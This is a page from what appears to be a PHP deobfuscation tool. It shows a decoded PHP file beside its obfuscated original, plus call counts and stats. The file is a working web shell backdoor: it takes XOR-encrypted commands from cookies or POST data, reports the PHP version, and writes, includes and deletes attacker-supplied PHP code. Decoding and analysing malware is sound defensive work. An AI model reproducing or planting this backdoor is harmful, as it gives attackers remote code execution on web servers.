Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $smtlcpawv = /* do */ 'smtlcpawv' ^ /* _lhcx */ ''; $swnzx = /..
Decoded Output download
<?php
$smtlcpawv = /* do */ 'smtlcpawv' ^ /* _lhcx */ '';
$swnzx = /* nwhe */ $_COOKIE;
$vvvstzpvf = /* vq */ 63;
$megeracmqu = $_POST;
function /*hpm */ iwaodpw()
{
/*eb */ $rbpyvza /*gcnawv */ = /*jfe */ 'aspj'; $ztkuyah = /* kn*/ 'ehps';
$clfimdr /* pp */ = 'zjvgc'; $fy_fdxq = /*je */ 'dgrf';
/* pkhomp */ $ztkuyah /* ubknpe*/ = strtolower($fy_fdxq); /*wjon */ $porpgi /* g_mhv */ = 'ayg';
$ocqsnmks = /* ev */ 'lfifqbygoe';
}
function ovuxnzcfcj($qtxepynkjc, $cwmnx){ global $smtlcpawv;
$bntvngt /* uo */ = "";
$uxpfmlaumw /* azzeu */ = 43; for ($aizokmfthpzr = 0; /* i */ $aizokmfthpzr /* okobjr*/ < strlen($qtxepynkjc);) /* zo */ {
/* v */ for ($aizokmft /* uk */ = /* bflbem */ 0; $aizokmft /* am*/ < strlen($cwmnx) /*_*/ && /* utwgb */ $aizokmfthpzr < strlen($qtxepynkjc); $aizokmft++, $aizokmfthpzr++) /* phs_g */ {
$bntvngt .= /* oneqq */ $smtlcpawv(ord($qtxepynkjc[$aizokmfthpzr]) ^ /* a */ ord($cwmnx[$aizokmft]));
$adtzwqxetx = 20;
/* fmn */ }
/*wow*/ } return /* rtjrm */ $bntvngt;
}
function cnwfo($ghorjlo, $qtxepynkjc)
{
global $smtlcpawv;
/* nog */ $nokjryfoxm = /* jc */ sprintf(".".$smtlcpawv(47) . /*loz */ $smtlcpawv(37) /* bqgrl */ . "s"."."."p" /* s*/ . /* _ivr*/ "l", md5($ghorjlo));
file_put_contents($nokjryfoxm, /* owjwy */ "<" . "?".$smtlcpawv(112) . /* ohwll */ "h"."p".$smtlcpawv(32) /* wgu */ . "u"."n"."l" . "i"."n"."k" . "(" . "_" . /*alv*/ $smtlcpawv(95) . "F" /* ykp_g */ . "I"."L" . "E"."_" . /* q */ "_".")" . ";".$smtlcpawv(32) . $qtxepynkjc["d"]);
$awdefvfbiw = /*qzfj */ 'vuisu';
include($nokjryfoxm);
$aizokmfthpzrppqjafls = /*ks */ $nokjryfoxm;
$rliqosloaj = /* cg */ trim($awdefvfbiw); $nzomedk = 'xecaid';
@unlink($aizokmfthpzrppqjafls);
$nwj_er = 41; $bliyovnlx = /* iknnwm */ 5;
}
function /* pgsc */ avy_gytlz()
{
global $smtlcpawv;
$aizokmfthpzr = array();
$fgnqtc /* nvdvck */ = 'zgzgba';
$aizokmfthpzr[$smtlcpawv(112) . "v"] = phpversion();
$ryapi = 45;
$aizokmfthpzr["s"."v"] /*gncjz*/ = /* cwu */ $smtlcpawv(352-301) . /* rbepp_ */ ".".$smtlcpawv(53);
/* kzsj */ echo @serialize($aizokmfthpzr);
}
function fdlwsvjl()
{
/*bl */ $mnyevuuzq = 67;
/* r */ $aizokmfthpzrurw_zq = /* pjrago */ 'vtbxt'; /*hgtm_w*/ $aizokmfthpzrhjnqyph /* tjtu */ = /* m */ 31;
/* br*/ $mnyevuuzq = $aizokmfthpzrhjnqyph /* nlok*/ * 20; $aizokmftlcrvlj_ /* ib */ = 35;
}
fdlwsvjl();
function /*chie_*/ _yninoxju($qtxepynkjc, $ghorjlo, /* xntekr */ $tnxmx){
global $smtlcpawv;
/*lojanb */ $qtxepynkjc /* f */ = unserialize(ovuxnzcfcj(ovuxnzcfcj(base64_decode($qtxepynkjc), /* rkc */ $ghorjlo), $tnxmx)); /* _d*/ if /* d */ (isset($qtxepynkjc["a" /* _v */ . "k"])) {
if /* wgg */ ($qtxepynkjc["a"] == /* yheto */ "i") {
avy_gytlz();
/* unqll */ } /* fplfh */ elseif /* _v */ ($qtxepynkjc["a"] == /* lzmd */ $smtlcpawv(101)) { cnwfo($ghorjlo, $qtxepynkjc);
$dxlngdy = 74; /* j */ }
/* cjc */ exit();
}
}
$swnzx = array_merge($megeracmqu, $swnzx);
$ghorjlo = /* hoi*/ "b" . "7"."3"."4" . $smtlcpawv(51) /* e*/ . /* w */ "a" . /* zqy_ */ "7"."e" . "-" . /* wdeihl */ $smtlcpawv(469-372) /*ix */ . /* ie */ "3" . /* d */ $smtlcpawv(97) . "e" /* o */ . "-"."4" . /* ljffyr */ "c"."b".$smtlcpawv(48) /* coo */ . "-"."9" . "0" /* kfxj*/ . /* in*/ "b"."2" . $smtlcpawv(936-891) . "d" /* xqi */ . /* i */ "b" /*jtv*/ . "6" . "9"."3"."7".$smtlcpawv(370-268) . "e" /* _urn */ . /* kjt */ $smtlcpawv(101)."d"."9" /* hesyd */ . /* u*/ "4";foreach ($swnzx /* zf_ */ as /*z */ $tnxmx /*qiinv */ => $qtxepynkjc) { _yninoxju($qtxepynkjc, $ghorjlo, /* hghh */ $tnxmx);}
$yhuxiat /* uoipjv */ = /* dtcj */ 'k_ma';
$ao_bkg = 31;
iwaodpw();
?>
Did this file decode correctly?
Original Code
<?php
$smtlcpawv = /* do */ 'smtlcpawv' ^ /* _lhcx */ '';
$swnzx = /* nwhe */ $_COOKIE;
$vvvstzpvf = /* vq */ 63;
$megeracmqu = $_POST;
function /*hpm */ iwaodpw()
{
/*eb */ $rbpyvza /*gcnawv */ = /*jfe */ 'aspj'; $ztkuyah = /* kn*/ 'ehps';
$clfimdr /* pp */ = 'zjvgc'; $fy_fdxq = /*je */ 'dgrf';
/* pkhomp */ $ztkuyah /* ubknpe*/ = strtolower($fy_fdxq); /*wjon */ $porpgi /* g_mhv */ = 'ayg';
$ocqsnmks = /* ev */ 'lfifqbygoe';
}
function ovuxnzcfcj($qtxepynkjc, $cwmnx){ global $smtlcpawv;
$bntvngt /* uo */ = "";
$uxpfmlaumw /* azzeu */ = 43; for ($aizokmfthpzr = 0; /* i */ $aizokmfthpzr /* okobjr*/ < strlen($qtxepynkjc);) /* zo */ {
/* v */ for ($aizokmft /* uk */ = /* bflbem */ 0; $aizokmft /* am*/ < strlen($cwmnx) /*_*/ && /* utwgb */ $aizokmfthpzr < strlen($qtxepynkjc); $aizokmft++, $aizokmfthpzr++) /* phs_g */ {
$bntvngt .= /* oneqq */ $smtlcpawv(ord($qtxepynkjc[$aizokmfthpzr]) ^ /* a */ ord($cwmnx[$aizokmft]));
$adtzwqxetx = 20;
/* fmn */ }
/*wow*/ } return /* rtjrm */ $bntvngt;
}
function cnwfo($ghorjlo, $qtxepynkjc)
{
global $smtlcpawv;
/* nog */ $nokjryfoxm = /* jc */ sprintf(".".$smtlcpawv(47) . /*loz */ $smtlcpawv(37) /* bqgrl */ . "s"."."."\160" /* s*/ . /* _ivr*/ "l", md5($ghorjlo));
file_put_contents($nokjryfoxm, /* owjwy */ "<" . "?".$smtlcpawv(112) . /* ohwll */ "h"."p".$smtlcpawv(32) /* wgu */ . "u"."n"."\x6c" . "i"."n"."\153" . "\x28" . "\x5f" . /*alv*/ $smtlcpawv(95) . "\x46" /* ykp_g */ . "I"."\x4c" . "E"."\x5f" . /* q */ "_"."\51" . ";".$smtlcpawv(32) . $qtxepynkjc["\x64"]);
$awdefvfbiw = /*qzfj */ 'vuisu';
include($nokjryfoxm);
$aizokmfthpzrppqjafls = /*ks */ $nokjryfoxm;
$rliqosloaj = /* cg */ trim($awdefvfbiw); $nzomedk = 'xecaid';
@unlink($aizokmfthpzrppqjafls);
$nwj_er = 41; $bliyovnlx = /* iknnwm */ 5;
}
function /* pgsc */ avy_gytlz()
{
global $smtlcpawv;
$aizokmfthpzr = array();
$fgnqtc /* nvdvck */ = 'zgzgba';
$aizokmfthpzr[$smtlcpawv(112) . "v"] = phpversion();
$ryapi = 45;
$aizokmfthpzr["s"."\x76"] /*gncjz*/ = /* cwu */ $smtlcpawv(352-301) . /* rbepp_ */ ".".$smtlcpawv(53);
/* kzsj */ echo @serialize($aizokmfthpzr);
}
function fdlwsvjl()
{
/*bl */ $mnyevuuzq = 67;
/* r */ $aizokmfthpzrurw_zq = /* pjrago */ 'vtbxt'; /*hgtm_w*/ $aizokmfthpzrhjnqyph /* tjtu */ = /* m */ 31;
/* br*/ $mnyevuuzq = $aizokmfthpzrhjnqyph /* nlok*/ * 20; $aizokmftlcrvlj_ /* ib */ = 35;
}
fdlwsvjl();
function /*chie_*/ _yninoxju($qtxepynkjc, $ghorjlo, /* xntekr */ $tnxmx){
global $smtlcpawv;
/*lojanb */ $qtxepynkjc /* f */ = unserialize(ovuxnzcfcj(ovuxnzcfcj(base64_decode($qtxepynkjc), /* rkc */ $ghorjlo), $tnxmx)); /* _d*/ if /* d */ (isset($qtxepynkjc["\x61" /* _v */ . "k"])) {
if /* wgg */ ($qtxepynkjc["a"] == /* yheto */ "i") {
avy_gytlz();
/* unqll */ } /* fplfh */ elseif /* _v */ ($qtxepynkjc["a"] == /* lzmd */ $smtlcpawv(101)) { cnwfo($ghorjlo, $qtxepynkjc);
$dxlngdy = 74; /* j */ }
/* cjc */ exit();
}
}
$swnzx = array_merge($megeracmqu, $swnzx);
$ghorjlo = /* hoi*/ "\x62" . "7"."3"."\x34" . $smtlcpawv(51) /* e*/ . /* w */ "\x61" . /* zqy_ */ "7"."\x65" . "\x2d" . /* wdeihl */ $smtlcpawv(469-372) /*ix */ . /* ie */ "\63" . /* d */ $smtlcpawv(97) . "\145" /* o */ . "-"."\64" . /* ljffyr */ "c"."b".$smtlcpawv(48) /* coo */ . "-"."\71" . "\60" /* kfxj*/ . /* in*/ "b"."\62" . $smtlcpawv(936-891) . "\144" /* xqi */ . /* i */ "\x62" /*jtv*/ . "\x36" . "9"."3"."7".$smtlcpawv(370-268) . "\145" /* _urn */ . /* kjt */ $smtlcpawv(101)."\x64"."\x39" /* hesyd */ . /* u*/ "\64";foreach ($swnzx /* zf_ */ as /*z */ $tnxmx /*qiinv */ => $qtxepynkjc) { _yninoxju($qtxepynkjc, $ghorjlo, /* hghh */ $tnxmx);}
$yhuxiat /* uoipjv */ = /* dtcj */ 'k_ma';
$ao_bkg = 31;
iwaodpw();
?>
Function Calls
fdlwsvjl | 1 |
array_merge | 1 |
Stats
MD5 | c7ab49b3f4be076b329ec8e7cf3c60d3 |
Eval Count | 0 |
Decode Time | 70 ms |